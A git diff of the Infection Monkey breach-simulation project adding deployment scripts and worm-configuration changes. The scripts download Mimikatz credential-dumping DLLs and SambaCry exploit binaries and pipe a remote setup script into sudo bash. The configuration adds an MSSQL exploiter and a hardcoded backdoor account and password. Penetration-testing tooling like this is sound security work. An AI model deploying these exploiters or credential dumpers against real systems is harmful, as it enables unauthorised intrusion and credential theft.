diff --git a/README.md b/README.md index 841eb6ccb..6ab6813ce 100644 --- a/README.md +++ b/README.md @@ -41,10 +41,13 @@ Setup ------------------------------- Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/). +The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility). + Building the Monkey from source ------------------------------- -If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself) +To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder. +If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself) and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island). diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md new file mode 100644 index 000000000..92a2fd76e --- /dev/null +++ b/deployment_scripts/README.md @@ -0,0 +1,23 @@ +# Files used to deploy development version of infection monkey +## Windows + +Before running the script you must have git installed.
+Cd to scripts directory and use the scripts.
+First argument is an empty directory (script can create one) and second is branch you want to clone. +Example usages:
+./run_script.bat (Sets up monkey in current directory under .\infection_monkey)
+./run_script.bat "C:\test" (Sets up monkey in C:\test)
+powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Windows -monkey_home C:\test" (Same as above)
+./run_script.bat "" "master"(Sets up master branch instead of develop in current dir) +Don't forget to add python to PATH or do so while installing it via this script.
+ +## Linux + +You must have root permissions, but there is no need to run the script as root.
+Launch deploy_linux.sh from scripts directory.
+First argument is an empty directory (script can create one) and second is branch you want to clone. +Example usages:
+./deploy_linux.sh (deploys under ./infection_monkey)
+./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)
+./deploy_linux.sh "" "master" (deploys master branch in script directory)
+./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)
diff --git a/deployment_scripts/config b/deployment_scripts/config new file mode 100644 index 000000000..bb10ed105 --- /dev/null +++ b/deployment_scripts/config @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# Absolute monkey's path +MONKEY_FOLDER_NAME="infection_monkey" +# Url of public git repository that contains monkey's source code +MONKEY_GIT_URL="https://github.com/guardicore/monkey" + +# Monkey binaries +LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32" +LINUX_32_BINARY_NAME="monkey-linux-32" +LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64" +LINUX_64_BINARY_NAME="monkey-linux-64" +WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe" +WINDOWS_32_BINARY_NAME="monkey-windows-32.exe" +WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe" +WINDOWS_64_BINARY_NAME="monkey-windows-64.exe" + +# Mongo url's +MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz" +MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz" diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 new file mode 100644 index 000000000..24a8d3322 --- /dev/null +++ b/deployment_scripts/config.ps1 @@ -0,0 +1,48 @@ +# Absolute monkey's path +$MONKEY_FOLDER_NAME = "infection_monkey" +# Url of public git repository that contains monkey's source code +$MONKEY_GIT_URL = "https://github.com/guardicore/monkey" +# Link to the latest python download or install it manually +$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi" + +# Monkey binaries +$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32" +$LINUX_32_BINARY_PATH = "monkey-linux-32" +$LINUX_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64" +$LINUX_64_BINARY_PATH = "monkey-linux-64" +$WINDOWS_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe" +$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe" +$WINDOWS_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe" +$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe" +$SAMBA_32_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner32.so" +$SAMBA_32_BINARY_NAME= "sc_monkey_runner32.so" +$SAMBA_64_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner64.so" +$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so" + +# Other directories and paths ( most likely you dont need to configure) +$MONKEY_ISLAND_DIR = "\monkey\monkey_island" +$MONKEY_DIR = "\monkey\infection_monkey" +$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner" +$PYTHON_DLL = "C:\Windows\System32\python27.dll" +$MK32_DLL = "mk32.dll" +$MK64_DLL = "mk64.dll" +$TEMP_PYTHON_INSTALLER = ".\python.msi" +$TEMP_MONGODB_ZIP = ".\mongodb.zip" +$TEMP_OPEN_SSL_ZIP = ".\openssl.zip" +$TEMP_CPP_INSTALLER = "cpp.exe" +$TEMP_NPM_INSTALLER = "node.msi" +$TEMP_PYWIN32_INSTALLER = "pywin32.exe" +$TEMP_UPX_ZIP = "upx.zip" +$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi" +$UPX_FOLDER = "upx394w" + +# Other url's +$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi" +$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip" +$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip" +$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572" +$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi" +$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe" +$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip" +$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll" +$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh new file mode 100644 index 000000000..c9bb7c176 --- /dev/null +++ b/deployment_scripts/deploy_linux.sh @@ -0,0 +1,157 @@ +#!/bin/bash +source config + +# Setup monkey either in dir required or current dir +monkey_home=${1:-`pwd`} +if [[ $monkey_home == `pwd` ]]; then + monkey_home="$monkey_home/$MONKEY_FOLDER_NAME" +fi + +# We can set main paths after we know the home dir +ISLAND_PATH="$monkey_home/monkey/monkey_island" +MONKEY_COMMON_PATH="$monkey_home/monkey/common/" +MONGO_PATH="$ISLAND_PATH/bin/mongodb" +MONGO_BIN_PATH="$MONGO_PATH/bin" +ISLAND_DB_PATH="$ISLAND_PATH/db" +ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" + +handle_error () { + echo "Fix the errors above and rerun the script" + exit 1 +} + +log_message () { + echo -e "\n\n-------------------------------------------" + echo -e "DEPLOYMENT SCRIPT: $1" + echo -e "-------------------------------------------\n" +} + +sudo -v +if [[ $? != 0 ]]; then + echo "You need root permissions for some of this script operations. Quiting." + exit 1 +fi + +if [[ ! -d ${monkey_home} ]]; then + mkdir -p ${monkey_home} +fi + +git --version &>/dev/null +git_available=$? +if [[ ${git_available} != 0 ]]; then + echo "Please install git and re-run this script" + exit 1 +fi + +log_message "Cloning files from git" +branch=${2:-"develop"} +if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned + git clone --single-branch -b $branch ${MONKEY_GIT_URL} ${monkey_home} 2>&1 || handle_error + chmod 774 -R ${monkey_home} +fi + +# Create folders +log_message "Creating island dirs under $ISLAND_PATH" +mkdir -p ${MONGO_BIN_PATH} +mkdir -p ${ISLAND_DB_PATH} +mkdir -p ${ISLAND_BINARIES_PATH} || handle_error + +python_version=`python --version 2>&1` +if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then + echo "Python 2.7 is not found or is not a default interpreter for 'python' command..." + exit 1 +fi + +log_message "Updating package list" +sudo apt-get update + +log_message "Installing pip" +sudo apt-get install python-pip + +log_message "Installing island requirements" +requirements="$ISLAND_PATH/requirements.txt" +python -m pip install --user -r ${requirements} || handle_error + +# Download binaries +log_message "Downloading binaries" +wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL} +wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL} +wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL} +wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL} +# Allow them to be executed +chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" +chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" +chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME" +chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME" + +# Get machine type/kernel version +kernel=`uname -m` +linux_dist=`lsb_release -a 2> /dev/null` + +# If a user haven't installed mongo manually check if we can install it with our script +if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \ + { [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then + echo "Script does not support your operating system for mongodb installation. + Reference monkey island readme and install it manually" + exit 1 +fi + +# Download mongo +if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then + log_message "Downloading mongodb" + if [[ ${linux_dist} == *"Debian"* ]]; then + wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL} + elif [[ ${linux_dist} == *"Ubuntu"* ]]; then + wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL} + fi + tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error +else + log_message "Mongo db already installed" +fi + +log_message "Installing openssl" +sudo apt-get install openssl + +# Generate SSL certificate +log_message "Generating certificate" +cd ${ISLAND_PATH} || handle_error +openssl genrsa -out cc/server.key 1024 || handle_error +openssl req -new -key cc/server.key -out cc/server.csr \ +-subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error +openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error + + +chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error +${ISLAND_PATH}/linux/create_certificate.sh || handle_error + +# Install npm +log_message "Installing npm" +sudo apt-get install npm + +# Update node +log_message "Updating node" +curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash - +sudo apt-get install -y nodejs + +log_message "Generating front end" +cd "$ISLAND_PATH/cc/ui" || handle_error +npm update +npm run dist + +# Monkey setup +log_message "Installing monkey requirements" +sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1 +cd ${monkey_home}/monkey/infection_monkey || handle_error +python -m pip install --user -r requirements.txt || handle_error + +# Build samba +log_message "Building samba binaries" +sudo apt-get install gcc-multilib +cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner +chmod +x ./build.sh || handle_error +./build.sh + +chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh + +log_message "Deployment script finished." +exit 0 \ No newline at end of file diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 new file mode 100644 index 000000000..c72c29b5e --- /dev/null +++ b/deployment_scripts/deploy_windows.ps1 @@ -0,0 +1,215 @@ +function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop"){ + # Import the config variables + . ./config.ps1 + "Config variables from config.ps1 imported" + + # If we want monkey in current dir we need to create an empty folder for source files + if ( (Join-Path $monkey_home '') -eq (Join-Path (Get-Item -Path ".\").FullName '') ){ + $monkey_home = Join-Path -Path $monkey_home -ChildPath $MONKEY_FOLDER_NAME + } + + # Set variables for script execution + [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 + $webClient = New-Object System.Net.WebClient + + # We check if git is installed + try + { + git | Out-Null -ErrorAction Stop + "Git requirement satisfied" + } + catch [System.Management.Automation.CommandNotFoundException] + { + "Please install git before running this script or add it to path and restart cmd" + return + } + + # Download the monkey + $output = cmd.exe /c "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1" + $binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin") + if ( $output -like "*already exists and is not an empty directory.*"){ + "Assuming you already have the source directory. If not, make sure to set an empty directory as monkey's home directory." + } elseif ($output -like "fatal:*"){ + "Error while cloning monkey from the repository:" + $output + return + } else { + "Monkey cloned from the repository" + # Create bin directory + New-Item -ItemType directory -path $binDir + "Bin directory added" + } + + # We check if python is installed + try + { + $version = cmd.exe /c '"python" --version 2>&1' + if ( $version -like 'Python 2.7.*' ) { + "Python 2.7.* was found, installing dependancies" + } else { + throw System.Management.Automation.CommandNotFoundException + } + } + catch [System.Management.Automation.CommandNotFoundException] + { + "Downloading python 2.7 ..." + $webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER) + Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop + $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + Remove-Item $TEMP_PYTHON_INSTALLER + # Check if installed correctly + $version = cmd.exe /c '"python" --version 2>&1' + if ( $version -like '* is not recognized*' ) { + "Python is not found in PATH. Add it manually or reinstall python." + return + } + } + + # Set python home dir + $PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source) + + # Get vcforpython27 before installing requirements + "Downloading Visual C++ Compiler for Python 2.7 ..." + $webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER) + Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop + $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER + + # Install requirements for island + $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop + "Upgrading pip..." + $output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1' + $output + if ( $output -like '*No module named pip*' ) { + "Make sure pip module is installed and re-run this script." + return + } + & python -m pip install --user -r $islandRequirements + # Install requirements for monkey + $monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt" + & python -m pip install --user -r $monkeyRequirements + + # Download mongodb + if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){ + "Downloading mongodb ..." + $webClient.DownloadFile($MONGODB_URL, $TEMP_MONGODB_ZIP) + "Unzipping mongodb" + Expand-Archive $TEMP_MONGODB_ZIP -DestinationPath $binDir + # Get unzipped folder's name + $mongodb_folder = Get-ChildItem -Path $binDir | Where-Object -FilterScript {($_.Name -like "mongodb*")} | Select-Object -ExpandProperty Name + # Move all files from extracted folder to mongodb folder + New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb") + New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db") + "Moving extracted files" + Move-Item -Path (Join-Path -Path $binDir -ChildPath $mongodb_folder | Join-Path -ChildPath "\bin\*") -Destination (Join-Path -Path $binDir -ChildPath "mongodb\") + "Removing zip file" + Remove-Item $TEMP_MONGODB_ZIP + Remove-Item (Join-Path -Path $binDir -ChildPath $mongodb_folder) -Recurse + } + + # Download OpenSSL + "Downloading OpenSSL ..." + $webClient.DownloadFile($OPEN_SSL_URL, $TEMP_OPEN_SSL_ZIP) + "Unzipping OpenSSl" + Expand-Archive $TEMP_OPEN_SSL_ZIP -DestinationPath (Join-Path -Path $binDir -ChildPath "openssl") -ErrorAction SilentlyContinue + "Removing zip file" + Remove-Item $TEMP_OPEN_SSL_ZIP + + # Download and install C++ redistributable + "Downloading C++ redistributable ..." + $webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER) + Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop + Remove-Item $TEMP_CPP_INSTALLER + + # Generate ssl certificate + "Generating ssl certificate" + Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR) + . .\windows\create_certificate.bat + Pop-Location + + # Adding binaries + "Adding binaries" + $binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries") + New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue + $webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH)) + $webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH)) + $webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH)) + $webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH)) + + # Check if NPM installed + "Installing npm" + try + { + $version = cmd.exe /c '"npm" --version 2>&1' + if ( $version -like "*is not recognized*"){ + throw System.Management.Automation.CommandNotFoundException + } else { + "Npm already installed" + } + } + catch [System.Management.Automation.CommandNotFoundException] + { + "Downloading npm ..." + $webClient.DownloadFile($NPM_URL, $TEMP_NPM_INSTALLER) + Start-Process -Wait $TEMP_NPM_INSTALLER + $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + Remove-Item $TEMP_NPM_INSTALLER + } + + "Updating npm" + Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\ui") + & npm update + & npm run dist + Pop-Location + + # Install pywin32 + "Downloading pywin32" + $webClient.DownloadFile($PYWIN32_URL, $TEMP_PYWIN32_INSTALLER) + Start-Process -Wait $TEMP_PYWIN32_INSTALLER -ErrorAction Stop + Remove-Item $TEMP_PYWIN32_INSTALLER + + # Create infection_monkey/bin directory if not already present + $binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin") + New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue + + # Download upx + if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){ + "Downloading upx ..." + $webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP) + "Unzipping upx" + Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue + Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir + # Remove unnecessary files + Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER) + "Removing zip file" + Remove-Item $TEMP_UPX_ZIP + } + + # Download mimikatz binaries + $mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL + if(!(Test-Path -Path $mk32_path )){ + "Downloading mimikatz 32 binary" + $webClient.DownloadFile($MK32_DLL_URL, $mk32_path) + } + $mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL + if(!(Test-Path -Path $mk64_path )){ + "Downloading mimikatz 64 binary" + $webClient.DownloadFile($MK64_DLL_URL, $mk64_path) + } + + # Download sambacry binaries + $samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR + $samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME + if(!(Test-Path -Path $samba32_path )){ + "Downloading sambacry 32 binary" + $webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path) + } + $samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME + if(!(Test-Path -Path $samba64_path )){ + "Downloading sambacry 64 binary" + $webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path) + } + + "Script finished" + +} diff --git a/deployment_scripts/run_script.bat b/deployment_scripts/run_script.bat new file mode 100644 index 000000000..3dcd62760 --- /dev/null +++ b/deployment_scripts/run_script.bat @@ -0,0 +1,8 @@ +SET command=. .\deploy_windows.ps1; Deploy-Windows +if NOT "%~1" == "" ( + SET "command=%command% -monkey_home %~1" +) +if NOT "%~2" == "" ( + SET "command=%command% -branch %~2" +) +powershell -ExecutionPolicy ByPass -Command %command% \ No newline at end of file diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py index 86b8d1a34..f80b44474 100644 --- a/monkey/common/cloud/aws_instance.py +++ b/monkey/common/cloud/aws_instance.py @@ -1,3 +1,4 @@ +import re import urllib2 __author__ = 'itay.mizeretz' @@ -6,12 +7,24 @@ __author__ = 'itay.mizeretz' class AwsInstance(object): def __init__(self): try: - self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() - self.region = urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] + self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read() + self.region = self._parse_region( + urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()) except urllib2.URLError: self.instance_id = None self.region = None + @staticmethod + def _parse_region(region_url_response): + # For a list of regions: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html + # This regex will find any AWS region format string in the response. + re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])' + finding = re.findall(re_phrase, region_url_response, re.IGNORECASE) + if finding: + return finding[0] + else: + return None + def get_instance_id(self): return self.instance_id diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index a2142ce0e..de89f7e4a 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -5,9 +5,12 @@ from abc import ABCMeta, abstractmethod import ipaddress from six import text_type +import logging __author__ = 'itamar' +LOG = logging.getLogger(__name__) + class NetworkRange(object): __metaclass__ = ABCMeta @@ -47,12 +50,23 @@ class NetworkRange(object): address_str = address_str.strip() if not address_str: # Empty string return None - if -1 != address_str.find('-'): + if NetworkRange.check_if_range(address_str): return IpRange(ip_range=address_str) if -1 != address_str.find('/'): return CidrRange(cidr_range=address_str) return SingleIpRange(ip_address=address_str) + @staticmethod + def check_if_range(address_str): + if -1 != address_str.find('-'): + ips = address_str.split('-') + try: + ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1]) + except ValueError as e: + return False + return True + return False + @staticmethod def _ip_to_number(address): return struct.unpack(">L", socket.inet_aton(address))[0] @@ -111,13 +125,58 @@ class IpRange(NetworkRange): class SingleIpRange(NetworkRange): def __init__(self, ip_address, shuffle=True): super(SingleIpRange, self).__init__(shuffle=shuffle) - self._ip_address = ip_address + self._ip_address, self.domain_name = self.string_to_host(ip_address) def __repr__(self): return "" % (self._ip_address,) + def __iter__(self): + """ + We have to check if we have an IP to return, because user could have entered invalid + domain name and no IP was found + :return: IP if there is one + """ + if self.ip_found(): + yield self._number_to_ip(self.get_range()[0]) + def is_in_range(self, ip_address): return self._ip_address == ip_address def _get_range(self): return [SingleIpRange._ip_to_number(self._ip_address)] + + def ip_found(self): + """ + Checks if we could translate domain name entered into IP address + :return: True if dns found domain name and false otherwise + """ + return self._ip_address + + @staticmethod + def string_to_host(string): + """ + Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip + :param string: String that was entered in "Scan IP/subnet list" + :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) + """ + # The most common use case is to enter ip/range into "Scan IP/subnet list" + domain_name = '' + + # Make sure to have unicode string + user_input = string.decode('utf-8', 'ignore') + + # Try casting user's input as IP + try: + ip = ipaddress.ip_address(user_input).exploded + except ValueError: + # Exception means that it's a domain name + try: + ip = socket.gethostbyname(string) + domain_name = string + except socket.error: + LOG.error("Your specified host: {} is not found as a domain name and" + " it's not an IP address".format(string)) + return None, string + # If a string was entered instead of IP we presume that it was domain name and translate it + return ip, domain_name + diff --git a/monkey/infection_monkey/build_linux.sh b/monkey/infection_monkey/build_linux.sh index c05c2891c..fcaf4c75d 100644 --- a/monkey/infection_monkey/build_linux.sh +++ b/monkey/infection_monkey/build_linux.sh @@ -1,2 +1,2 @@ #!/bin/bash -pyinstaller --clean monkey-linux.spec +pyinstaller -F --log-level=DEBUG --clean monkey.spec diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..ff66ff167 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -7,8 +7,6 @@ from abc import ABCMeta from itertools import product import importlib -importlib.import_module('infection_monkey', 'network') - __author__ = 'itamar' GUID = str(uuid.getnode()) @@ -22,6 +20,7 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') + post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -35,12 +34,12 @@ class Configuration(object): if key == 'finger_classes': class_objects = [getattr(network_import, val) for val in value] setattr(self, key, class_objects) - elif key == 'scanner_class': - scanner_object = getattr(network_import, value) - setattr(self, key, scanner_object) elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) + elif key == 'post_breach_actions': + class_objects = [getattr(post_breach_import, val) for val in value] + setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -133,7 +132,6 @@ class Configuration(object): # how many scan iterations to perform on each run max_iterations = 1 - scanner_class = None finger_classes = [] exploiter_classes = [] @@ -193,7 +191,7 @@ class Configuration(object): 9200] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds - tcp_scan_interval = 200 + tcp_scan_interval = 0 tcp_scan_get_banner = True # Ping Scanner @@ -206,8 +204,8 @@ class Configuration(object): skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 - ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" - ms08_067_remote_user_pass = "Password1!" + user_to_add = "Monkey_IUSER_SUPPORT" + remote_user_pass = "Password1!" # rdp exploiter rdp_use_vbs_download = True @@ -268,5 +266,7 @@ class Configuration(object): extract_azure_creds = True + post_breach_actions = [] + WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 4e608f72f..5f7afc7e8 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -16,6 +16,7 @@ "alive": true, "collect_system_info": true, "extract_azure_creds": true, + "should_use_mimikatz": true, "depth": 2, "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", @@ -40,7 +41,8 @@ "SambaCryExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "MSSQLExploiter" ], "finger_classes": [ "SSHFinger", @@ -56,14 +58,13 @@ "monkey_log_path_linux": "/tmp/user-1563", "send_log_to_server": true, "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT", + "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, "rdp_use_vbs_download": true, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", "retry_failed_explotation": true, - "scanner_class": "TcpScanner", "self_delete_in_cleanup": true, "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", @@ -78,7 +79,7 @@ "sambacry_shares_not_to_check": ["IPC$", "print$"], "local_network_scan": false, "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, + "tcp_scan_interval": 0, "tcp_scan_timeout": 10000, "tcp_target_ports": [ 22, @@ -96,5 +97,6 @@ "timeout_between_iterations": 10, "use_file_logging": true, "victims_max_exploit": 7, - "victims_max_find": 30 + "victims_max_find": 30, + "post_breach_actions" : [] } diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 470155020..9ea2bcc75 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -45,3 +45,4 @@ from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.hadoop import HadoopExploiter +from infection_monkey.exploit.mssqlexec import MSSQLExploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 9eb64682b..2de001ba3 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP +from 